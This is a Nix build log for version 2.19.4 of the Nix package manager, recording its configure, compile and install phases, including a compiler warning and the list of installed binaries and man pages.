PerchunPak/4xf6p0q6b24zd2gzynfpp6lns8qpfw6m-nix-2.19.4.drv

## 4xf6p0q6b24zd2gzynfpp6lns8qpfw6m-nix-2.19.4.drv
@nix { "action": "setPhase", "phase": "unpackPhase" }
Running phase: unpackPhase
unpacking source archive /nix/store/044fcnhp4wzqzg6f1k76sfnqq787l6nn-source
source root is source
@nix { "action": "setPhase", "phase": "patchPhase" }
Running phase: patchPhase
patching script interpreter paths in tests
tests/functional/ca/build-with-garbage-path.sh: interpreter directive changed from "#!/usr/bin/env bash" to "/nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/bash"
tests/functional/ca/concurrent-builds.sh: interpreter directive changed from "#!/usr/bin/env bash" to "/nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/bash"
tests/functional/ca/gc.sh: interpreter directive changed from "#!/usr/bin/env bash" to "/nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/bash"
tests/functional/ca/nix-copy.sh: interpreter directive changed from "#!/usr/bin/env bash" to "/nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/bash"
tests/functional/ca/nix-run.sh: interpreter directive changed from "#!/usr/bin/env bash" to "/nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/bash"
tests/functional/ca/nix-shell.sh: interpreter directive changed from "#!/usr/bin/env bash" to "/nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/bash"
tests/functional/ca/post-hook.sh: interpreter directive changed from "#!/usr/bin/env bash" to "/nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/bash"
tests/functional/ca/recursive.sh: interpreter directive changed from "#!/usr/bin/env bash" to "/nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/bash"
tests/functional/ca/selfref-gc.sh: interpreter directive changed from "#!/usr/bin/env bash" to "/nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/bash"
tests/functional/install-darwin.sh: interpreter directive changed from "#!/bin/sh" to "/nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/sh"
tests/functional/nix-daemon-untrusting.sh: interpreter directive changed from "#!/bin/sh" to "/nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/sh"
tests/functional/push-to-store-old.sh: interpreter directive changed from "#!/bin/sh" to "/nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/sh"
tests/functional/push-to-store.sh: interpreter directive changed from "#!/bin/sh" to "/nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/sh"
@nix { "action": "setPhase", "phase": "autoreconfPhase" }
Running phase: autoreconfPhase
autoreconf: export WARNINGS=
autoreconf: Entering directory '.'
autoreconf: configure.ac: not using Gettext
autoreconf: running: aclocal --force
autoreconf: configure.ac: tracing
autoreconf: configure.ac: not using Libtool
autoreconf: configure.ac: not using Intltool
autoreconf: configure.ac: not using Gtkdoc
autoreconf: running: /nix/store/pggc8ps7dszqpmxds4sanvf1vmnrrys9-autoconf-2.72/bin/autoconf --force
configure.ac:1: warning: AC_INIT: not a literal: "m4_esyscmd(bash -c "echo -n $(cat ./.version)$VERSION_SUFFIX")"
autoreconf: running: /nix/store/pggc8ps7dszqpmxds4sanvf1vmnrrys9-autoconf-2.72/bin/autoheader --force
autoreconf: configure.ac: not using Automake
autoreconf: 'config/config.sub' is updated
autoreconf: 'config/config.guess' is updated
autoreconf: Leaving directory '.'
@nix { "action": "setPhase", "phase": "updateAutotoolsGnuConfigScriptsPhase" }
Running phase: updateAutotoolsGnuConfigScriptsPhase
Updating Autotools / GNU config script to a newer upstream version: ./config/config.sub
Updating Autotools / GNU config script to a newer upstream version: ./config/config.guess
@nix { "action": "setPhase", "phase": "configurePhase" }
Running phase: configurePhase
patching script interpreter paths in ./configure
./configure: interpreter directive changed from "#! /bin/sh" to "/nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/sh"
configure flags: --prefix=/nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4 --bindir=/nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/bin --sbindir=/nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/sbin --includedir=/nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include --oldincludedir=/nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include --mandir=/nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man --infodir=/nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/share/info --docdir=/nix/store/cskmh48jiyrc8fgjnnqkhfl9ib63h9pr-nix-2.19.4-doc/share/doc/nix --libdir=/nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib --libexecdir=/nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/libexec --localedir=/nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/share/locale --with-store-dir=/nix/store --localstatedir=/nix/var --sysconfdir=/etc --enable-gc --with-sandbox-shell=/nix/store/j7d9731ymq5p64srjc4668s5rr07k5gb-busybox-static-x86_64-unknown-linux-musl-1.36.1/bin/busybox --enable-lto
checking for a sed that does not truncate output... /nix/store/kqb7yncgd6a17nlgbixhcvcwync0nqg0-gnused-4.9/bin/sed
checking build system type... x86_64-pc-linux-gnu
checking host system type... x86_64-pc-linux-gnu
checking for the canonical Nix system name... x86_64-linux
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether the compiler supports GNU C... yes
checking whether gcc accepts -g... yes
checking for gcc option to enable C11 features... none needed
checking whether the compiler supports GNU C++... yes
checking whether g++ accepts -g... yes
checking for g++ option to enable C++11 features... none needed
checking how to run the C preprocessor... gcc -E
checking for ar... ar
checking for gcc option to enable large file support... none needed
checking for dirent.h that defines DIR... yes
checking for library containing opendir... none required
checking for struct dirent.d_type... yes
checking that GCC bug 80431 is fixed... yes
checking for pubsetbuf... yes
checking for statvfs... yes
checking for pipe2... yes
checking for lutimes... yes
checking whether it is possible to create a link to a symlink... yes
checking for stdio.h... yes
checking for stdlib.h... yes
checking for string.h... yes
checking for inttypes.h... yes
checking for stdint.h... yes
checking for strings.h... yes
checking for sys/stat.h... yes
checking for sys/types.h... yes
checking for unistd.h... yes
checking for locale... yes
checking for bash... /nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/bash
checking for flex... /nix/store/n0vpz6wzmhrnayjwlybq6avm4fnwzm3r-flex-2.6.4/bin/flex
checking for bison... /nix/store/8gvbk9c0v7mgzf36j0npw747rihb3ic4-bison-3.8.2/bin/bison
checking for dot... no
checking for lsof... lsof
checking for jq... /nix/store/1kql9l6sh9qwkfac720fl9a2d4lf78r3-jq-1.7.1-bin/bin/jq
checking for boostlib >= 1.66 (106600)... yes
checking whether -latomic is needed... no
checking pkg-config is at least version 0.9.0... yes
checking for libcrypto >= 1.1.1... yes
checking for libarchive >= 3.1.2... yes
checking for sqlite3 >= 3.6.19... yes
checking for libcurl... yes
checking for libeditline... yes
checking for libsodium... yes
checking for libbrotlienc libbrotlidec... yes
checking for libcpuid... yes
checking for libseccomp... yes
checking for aws/s3/S3Client.h... yes
checking for bdw-gc... yes
checking for gtest_main... yes
checking for rapidcheck/gtest.h... yes
checking for nlohmann_json >= 3.9... yes
checking for lowdown >= 0.9.0... yes
checking for setresuid... yes
checking for setreuid... yes
checking for lchown... yes
checking for strsignal... yes
checking for posix_fallocate... yes
checking for sysconf... yes
checking whether sandbox-shell has the standalone feature... disabled
configure: creating ./config.status
config.status: creating config.h
@nix { "action": "setPhase", "phase": "buildPhase" }
Running phase: buildPhase
build flags: -j16 SHELL=/nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/bash --jobserver-style=pipe profiledir=\$\(out\)/etc/profile.d
  GEN    Makefile.config
  GEN    src/libexpr/parser-tab.cc
  GEN    src/libexpr/parser-tab.hh
  GEN    src/libexpr/lexer-tab.cc
  GEN    src/libexpr/lexer-tab.hh
src/libexpr/lexer.l:314: warning, -s option given but default rule can be matched
  GEN    src/nix-channel/unpack-channel.nix.gen.hh
  GEN    src/nix-env/buildenv.nix.gen.hh
  GEN    src/nix/get-env.sh.gen.hh
src/libexpr/lexer.l:314: warning, -s option given but default rule can be matched
  GEN    doc/manual/generate-manpage.nix.gen.hh
  GEN    doc/manual/utils.nix.gen.hh
  GEN    doc/manual/generate-settings.nix.gen.hh
  GEN    doc/manual/generate-store-info.nix.gen.hh
  GEN    src/libexpr/primops/derivation.nix.gen.hh
  GEN    src/libexpr/flake/call-flake.nix.gen.hh
  GEN    src/libexpr/fetchurl.nix.gen.hh
  GEN    src/libexpr/imported-drv-to-derivation.nix.gen.hh
  CXX    src/libutil/archive.o
  CXX    src/libutil/args.o
  CXX    src/libutil/canon-path.o
  CXX    src/libutil/cgroup.o
  CXX    src/libutil/compression.o
  CXX    src/libutil/compute-levels.o
  CXX    src/libutil/config.o
  CXX    src/libutil/current-process.o
  CXX    src/libutil/error.o
  CXX    src/libutil/experimental-features.o
  CXX    src/libutil/environment-variables.o
  CXX    src/libutil/file-descriptor.o
  CXX    src/libutil/file-system.o
  CXX    src/libutil/fs-sink.o
  CXX    src/libutil/git.o
  CXX    src/libutil/hash.o
  CXX    src/libutil/hilite.o
  CXX    src/libutil/json-utils.o
  CXX    src/libutil/logging.o
  CXX    src/libutil/memory-source-accessor.o
  CXX    src/libutil/namespaces.o
  CXX    src/libutil/posix-source-accessor.o
  CXX    src/libutil/processes.o
  CXX    src/libutil/references.o
  CXX    src/libutil/serialise.o
  CXX    src/libutil/signals.o
  CXX    src/libutil/source-accessor.o
  CXX    src/libutil/suggestions.o
  CXX    src/libutil/tarfile.o
  CXX    src/libutil/terminal.o
  CXX    src/libutil/thread-pool.o
  CXX    src/libutil/unix-domain-socket.o
  CXX    src/libutil/url.o
  CXX    src/libutil/users.o
  CXX    src/libutil/util.o
  CXX    src/libutil/xml-writer.o
  CXX    src/libstore/binary-cache-store.o
  CXX    src/libstore/build-result.o
  CXX    src/libstore/build/child.o
  CXX    src/libstore/build/derivation-goal.o
  CXX    src/libstore/build/drv-output-substitution-goal.o
  CXX    src/libstore/build/entry-points.o
  CXX    src/libstore/build/goal.o
  CXX    src/libstore/build/hook-instance.o
  CXX    src/libstore/build/local-derivation-goal.o
  CXX    src/libstore/build/personality.o
  CXX    src/libstore/build/substitution-goal.o
  CXX    src/libstore/build/worker.o
  CXX    src/libstore/builtins/buildenv.o
  CXX    src/libstore/builtins/fetchurl.o
  CXX    src/libstore/builtins/unpack-channel.o
  CXX    src/libstore/common-protocol.o
  CXX    src/libstore/content-address.o
  CXX    src/libstore/crypto.o
  CXX    src/libstore/daemon.o
  CXX    src/libstore/derivations.o
  CXX    src/libstore/derived-path-map.o
  CXX    src/libstore/derived-path.o
  CXX    src/libstore/downstream-placeholder.o
  CXX    src/libstore/dummy-store.o
  CXX    src/libstore/export-import.o
  CXX    src/libstore/filetransfer.o
  CXX    src/libstore/gc.o
  CXX    src/libstore/globals.o
  CXX    src/libstore/http-binary-cache-store.o
  CXX    src/libstore/legacy-ssh-store.o
  CXX    src/libstore/local-binary-cache-store.o
  CXX    src/libstore/local-fs-store.o
  GEN    src/libstore/schema.sql.gen.hh
  GEN    src/libstore/ca-specific-schema.sql.gen.hh
  CXX    src/libstore/lock.o
  CXX    src/libstore/log-store.o
  CXX    src/libstore/machines.o
  CXX    src/libstore/make-content-addressed.o
  CXX    src/libstore/misc.o
  CXX    src/libstore/names.o
  CXX    src/libstore/nar-accessor.o
  CXX    src/libstore/nar-info-disk-cache.o
  CXX    src/libstore/nar-info.o
  CXX    src/libstore/optimise-store.o
  CXX    src/libstore/outputs-spec.o
  CXX    src/libstore/parsed-derivations.o
  CXX    src/libstore/path-info.o
  CXX    src/libstore/path-references.o
  CXX    src/libstore/path-with-outputs.o
  CXX    src/libstore/path.o
  CXX    src/libstore/pathlocks.o
  CXX    src/libstore/profiles.o
  CXX    src/libstore/realisation.o
  CXX    src/libstore/remote-fs-accessor.o
  CXX    src/libstore/remote-store.o
  CXX    src/libstore/s3-binary-cache-store.o
  CXX    src/libstore/serve-protocol.o
  CXX    src/libstore/sqlite.o
  CXX    src/libstore/ssh-store.o
  CXX    src/libstore/ssh.o
  CXX    src/libstore/store-api.o
  CXX    src/libstore/uds-remote-store.o
  CXX    src/libstore/worker-protocol.o
  CXX    src/libfetchers/attrs.o
  CXX    src/libfetchers/cache.o
  CXX    src/libfetchers/fetch-settings.o
  CXX    src/libfetchers/fetchers.o
  CXX    src/libfetchers/fs-input-accessor.o
  CXX    src/libfetchers/git.o
  CXX    src/libfetchers/github.o
  CXX    src/libfetchers/indirect.o
  CXX    src/libfetchers/input-accessor.o
  CXX    src/libfetchers/memory-input-accessor.o
  CXX    src/libfetchers/mercurial.o
  CXX    src/libfetchers/path.o
  CXX    src/libfetchers/registry.o
  CXX    src/libfetchers/tarball.o
  CXX    src/libmain/common-args.o
  CXX    src/libmain/loggers.o
  CXX    src/libmain/progress-bar.o
  CXX    src/libmain/shared.o
  CXX    src/libmain/stack.o
  CXX    src/libcmd/built-path.o
  CXX    src/libcmd/command-installable-value.o
  CXX    src/libcmd/command.o
  CXX    src/libcmd/common-eval-args.o
  CXX    src/libcmd/editor-for.o
  CXX    src/libcmd/installable-attr-path.o
  CXX    src/libcmd/installable-derived-path.o
  CXX    src/libcmd/installable-flake.o
  CXX    src/libcmd/installable-value.o
  CXX    src/libcmd/installables.o
  CXX    src/libcmd/legacy.o
  CXX    src/libcmd/markdown.o
  CXX    src/libcmd/repl.o
  MKDIR  /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/bin/
  LD     src/libutil/libnixutil.so
  CXX    tests/unit/libutil/args.o
  CXX    tests/unit/libutil/canon-path.o
  CXX    tests/unit/libutil/chunked-vector.o
  CXX    tests/unit/libutil/closure.o
  CXX    tests/unit/libutil/compression.o
  CXX    tests/unit/libutil/config.o
  CXX    tests/unit/libutil/git.o
  CXX    tests/unit/libutil/hash.o
  CXX    tests/unit/libutil/hilite.o
  CXX    tests/unit/libutil/logging.o
  CXX    tests/unit/libutil/lru-cache.o
  CXX    tests/unit/libutil/pool.o
  CXX    tests/unit/libutil/references.o
  CXX    tests/unit/libutil/suggestions.o
  CXX    tests/unit/libutil/tests.o
  CXX    tests/unit/libutil/url.o
  CXX    tests/unit/libutil/xml-writer.o
  CXX    tests/unit/libutil-support/tests/hash.o
  CXX    tests/unit/libstore/common-protocol.o
  CXX    tests/unit/libstore/derivation.o
  CXX    tests/unit/libstore/derived-path.o
  CXX    tests/unit/libstore/downstream-placeholder.o
  CXX    tests/unit/libstore/machines.o
  CXX    tests/unit/libstore/nar-info-disk-cache.o
  CXX    tests/unit/libstore/nar-info.o
  CXX    tests/unit/libstore/outputs-spec.o
  CXX    tests/unit/libstore/path-info.o
  CXX    tests/unit/libstore/path.o
  CXX    tests/unit/libstore/references.o
  CXX    tests/unit/libstore/serve-protocol.o
  CXX    tests/unit/libstore/worker-protocol.o
  CXX    tests/unit/libstore-support/tests/derived-path.o
  CXX    tests/unit/libstore-support/tests/outputs-spec.o
  CXX    tests/unit/libstore-support/tests/path.o
  CXX    tests/unit/libexpr/derived-path.o
  CXX    tests/unit/libexpr/error_traces.o
  CXX    tests/unit/libexpr/eval.o
  CXX    tests/unit/libexpr/flakeref.o
  CXX    tests/unit/libexpr/json.o
  CXX    tests/unit/libexpr/primops.o
  CXX    tests/unit/libexpr/search-path.o
  CXX    tests/unit/libexpr/trivial.o
  CXX    tests/unit/libexpr/value/context.o
  CXX    tests/unit/libexpr/value/print.o
  CXX    tests/unit/libexpr-support/tests/value/context.o
  CXX    tests/functional/test-libstoreconsumer/main.o
  GEN    scripts/nix-profile.sh
  GEN    doc/manual/nix-env.1
  GEN    doc/manual/nix-store.1
  GEN    doc/manual/nix-build.1
  GEN    doc/manual/nix-shell.1
  GEN    doc/manual/nix-instantiate.1
  GEN    doc/manual/nix-collect-garbage.1
  GEN    doc/manual/nix-prefetch-url.1
  GEN    doc/manual/nix-channel.1
  GEN    doc/manual/nix-hash.1
  GEN    doc/manual/nix-copy-closure.1
  GEN    doc/manual/nix-daemon.8
  GEN    doc/manual/nix-profiles.5
  GEN    doc/manual/nix-env-delete-generations.1
  GEN    doc/manual/nix-env-install.1
  GEN    doc/manual/nix-env-list-generations.1
  GEN    doc/manual/nix-env-query.1
  GEN    doc/manual/nix-env-rollback.1
  GEN    doc/manual/nix-env-set-flag.1
  GEN    doc/manual/nix-env-set.1
  GEN    doc/manual/nix-env-switch-generation.1
  GEN    doc/manual/nix-env-switch-profile.1
  GEN    doc/manual/nix-env-uninstall.1
  GEN    doc/manual/nix-env-upgrade.1
  GEN    doc/manual/nix-store-add-fixed.1
  GEN    doc/manual/nix-store-add.1
  GEN    doc/manual/nix-store-delete.1
  GEN    doc/manual/nix-store-dump-db.1
  GEN    doc/manual/nix-store-dump.1
  GEN    doc/manual/nix-store-export.1
  GEN    doc/manual/nix-store-gc.1
  GEN    doc/manual/nix-store-generate-binary-cache-key.1
  GEN    doc/manual/nix-store-import.1
  GEN    doc/manual/nix-store-load-db.1
  GEN    doc/manual/nix-store-optimise.1
  GEN    doc/manual/nix-store-print-env.1
  GEN    doc/manual/nix-store-query.1
  GEN    doc/manual/nix-store-read-log.1
  GEN    doc/manual/nix-store-repair-path.1
  GEN    doc/manual/nix-store-realise.1
  GEN    doc/manual/nix-store-restore.1
  GEN    doc/manual/nix-store-serve.1
  GEN    doc/manual/nix-store-verify-path.1
  GEN    doc/manual/nix-store-verify.1
  CXX    src/build-remote/build-remote.o
  CXX    src/nix-build/nix-build.o
  CXX    src/nix-channel/nix-channel.o
  CXX    src/nix-collect-garbage/nix-collect-garbage.o
  CXX    src/nix-copy-closure/nix-copy-closure.o
  CXX    src/nix-env/nix-env.o
  CXX    src/nix-env/user-env.o
  CXX    src/nix-instantiate/nix-instantiate.o
  CXX    src/nix-store/dotgraph.o
  CXX    src/nix-store/graphml.o
  CXX    src/nix-store/nix-store.o
  CXX    src/nix/add-to-store.o
  CXX    src/nix/app.o
  CXX    src/nix/build.o
  CXX    src/nix/bundle.o
  CXX    src/nix/cat.o
  CXX    src/nix/copy.o
  CXX    src/nix/daemon.o
  CXX    src/nix/derivation-add.o
  CXX    src/nix/derivation-show.o
  CXX    src/nix/derivation.o
  CXX    src/nix/develop.o
  CXX    src/nix/diff-closures.o
  CXX    src/nix/doctor.o
  CXX    src/nix/dump-path.o
  CXX    src/nix/edit.o
  CXX    src/nix/eval.o
  CXX    src/nix/flake.o
  CXX    src/nix/fmt.o
  CXX    src/nix/hash.o
  CXX    src/nix/log.o
  CXX    src/nix/ls.o
  CXX    src/nix/main.o
  CXX    src/nix/make-content-addressed.o
  CXX    src/nix/nar.o
  CXX    src/nix/optimise-store.o
  CXX    src/nix/path-from-hash-part.o
  CXX    src/nix/path-info.o
  CXX    src/nix/prefetch.o
  GEN    src/nix/doc/files/profiles.md.gen.hh
  CXX    src/nix/realisation.o
  CXX    src/nix/registry.o
  CXX    src/nix/repl.o
  CXX    src/nix/run.o
  CXX    src/nix/search.o
[Ksrc/nix/path-info.cc:[K In function '[Knlohmann::json_abi_v3_11_3::json[K pathInfoToJSON[K(nix::Store&, const nix::StorePathSet&, bool)[K':
[Ksrc/nix/path-info.cc:57:28:[K [Kwarning: [Kunused variable '[KnarInfo[K' [[K]8;;https://gcc.gnu.org/onlinedocs/gcc/Warning-Options.html#index-Wunused-variable-Wunused-variable]8;;[K]
   57 |                 if (auto * [KnarInfo[K = dynamic_cast<const NarInfo *>(&*info)) {
      |                            [K^~~~~~~[K
  CXX    src/nix/show-config.o
  CXX    src/nix/sigs.o
  CXX    src/nix/store-copy-log.o
  CXX    src/nix/store-delete.o
  CXX    src/nix/store-gc.o
  CXX    src/nix/store-info.o
  CXX    src/nix/store-repair.o
  CXX    src/nix/store.o
  CXX    src/nix/upgrade-nix.o
  CXX    src/nix/verify.o
  CXX    src/nix/why-depends.o
  CXX    src/libexpr/attr-path.o
  CXX    src/libexpr/attr-set.o
  CXX    src/libexpr/eval-cache.o
  CXX    src/libexpr/eval-settings.o
  CXX    src/libexpr/eval.o
  CXX    src/libexpr/flake/config.o
  CXX    src/libexpr/flake/flake.o
  CXX    src/libexpr/flake/flakeref.o
  CXX    src/libexpr/flake/lockfile.o
  CXX    src/libexpr/function-trace.o
  CXX    src/libexpr/get-drvs.o
  CXX    src/libexpr/json-to-value.o
  CXX    src/libexpr/lexer-tab.o
  CXX    src/libexpr/nixexpr.o
  CXX    src/libexpr/parser-tab.o
  CXX    src/libexpr/paths.o
  CXX    src/libexpr/primops.o
  CXX    src/libexpr/primops/context.o
  CXX    src/libexpr/primops/fetchClosure.o
  CXX    src/libexpr/primops/fetchMercurial.o
  CXX    src/libexpr/primops/fetchTree.o
  CXX    src/libexpr/primops/fromTOML.o
  CXX    src/libexpr/print.o
  CXX    src/libexpr/search-path.o
  CXX    src/libexpr/value-to-json.o
  CXX    src/libexpr/value-to-xml.o
  CXX    src/libexpr/value/context.o
  LD     /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixutil.so
  CXX    src/libstore/local-store.o
  LD     tests/unit/libutil-support/libnixutil-test-support.so
  CXX    src/nix/profile.o
  LD     tests/unit/libutil/libnixutil-tests
  LD     /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixstore.so
  LD     src/libstore/libnixstore.so
  LD     /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixfetchers.so
  LD     /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixmain.so
  LD     src/libfetchers/libnixfetchers.so
  LD     src/libmain/libnixmain.so
  LD     tests/unit/libstore-support/libnixstore-test-support.so
  LD     tests/functional/test-libstoreconsumer/test-libstoreconsumer
  LD     tests/unit/libstore/libnixstore-tests
  LD     /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixexpr.so
  LD     src/libexpr/libnixexpr.so
  LD     /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/libnixcmd.so
  LD     tests/unit/libexpr-support/libnixexpr-test-support.so
  LD     src/libcmd/libnixcmd.so
  LD     tests/unit/libexpr/libnixexpr-tests
  LD     /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/bin/nix
  LD     src/nix/nix
  GEN    doc/manual/nix.json
  GEN    doc/manual/conf-file.json
  GEN    doc/manual/xp-features.json
warning: you don't have Internet access; disabling some network-dependent features
  GEN    doc/manual/src/command-ref/experimental-features-shortlist.md
  GEN    doc/manual/src/command-ref/new-cli
warning: you don't have Internet access; disabling some network-dependent features
warning: you don't have Internet access; disabling some network-dependent features
  GEN    doc/manual/src/command-ref/conf-file.md
warning: you don't have Internet access; disabling some network-dependent features
  GEN    doc/manual/nix.conf.5
  GEN    doc/manual/generated/man1/nix3-manpages
rm src/nix/doc/files/profiles.md
buildPhase completed in 3 minutes 37 seconds
@nix { "action": "setPhase", "phase": "installPhase" }
Running phase: installPhase
install flags: -j16 SHELL=/nix/store/5lr5n3qa4day8l1ivbwlcby2nknczqkq-bash-5.2p26/bin/bash --jobserver-style=pipe profiledir=\$\(out\)/etc/profile.d pkgconfigdir=/nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/lib/pkgconfig m4datadir=/nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/share/aclocal aclocaldir=/nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/share/aclocal sysconfdir=\$\(out\)/etc install
  MKDIR  /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/
  MKDIR  /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/args/
  GEN    src/libstore/nix-store.pc
  MKDIR  /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/pkgconfig/
  MKDIR  /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/builtins/
  MKDIR  /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/build/
  GEN    src/libmain/nix-main.pc
  GEN    src/libexpr/nix-expr.pc
  MKDIR  /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/value/
  MKDIR  /nix/store/wfmvpcvlyh93cbp2xf2yafrfk0ana75g-nix-2.19.4-dev/include/nix/flake/
  GEN    src/libcmd/nix-cmd.pc
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/bin/nix-build
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/bin/nix-channel
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/bin/nix-collect-garbage
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/bin/nix-copy-closure
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/bin/nix-daemon
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/bin/nix-hash
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/bin/nix-prefetch-url
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/bin/nix-shell
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/bin/nix-instantiate
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/bin/nix-store
  INST   /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/bin/nix-env
  MKDIR  /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/libexec/nix/
  MKDIR  /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/etc/profile.d/
  GEN    scripts/nix-profile.fish
  GEN    scripts/nix-profile-daemon.sh
  GEN    scripts/nix-profile-daemon.fish
  MKDIR  /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/share/bash-completion/completions/
  MKDIR  /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/share/fish/vendor_completions.d/
  MKDIR  /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/share/zsh/site-functions/
  GEN    misc/systemd/nix-daemon.socket
  MKDIR  /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/systemd/system/
  GEN    misc/systemd/nix-daemon.service
  GEN    misc/systemd/nix-daemon.conf
  MKDIR  /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/lib/tmpfiles.d/
  GEN    misc/upstart/nix-daemon.conf
  MKDIR  /nix/store/8hq1w8q3y09crlspcxfdazxzp1v2wbqi-nix-2.19.4/etc/init/
  GEN    doc/manual/language.json
  MKDIR  /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/
  GEN    doc/manual/src/contributing/experimental-feature-descriptions.md
  MKDIR  /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man8/
  MKDIR  /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man5/
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix3-manpages
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-env-delete-generations.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-env-install.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-env-list-generations.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-env-query.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-env-rollback.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-env-set-flag.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-env-set.1
  INST   /nix/store/n6nmv8frz6ljgkkxxxk9ww00yyfyb775-nix-2.19.4-man/share/man/man1/nix-env-switch-generation.1
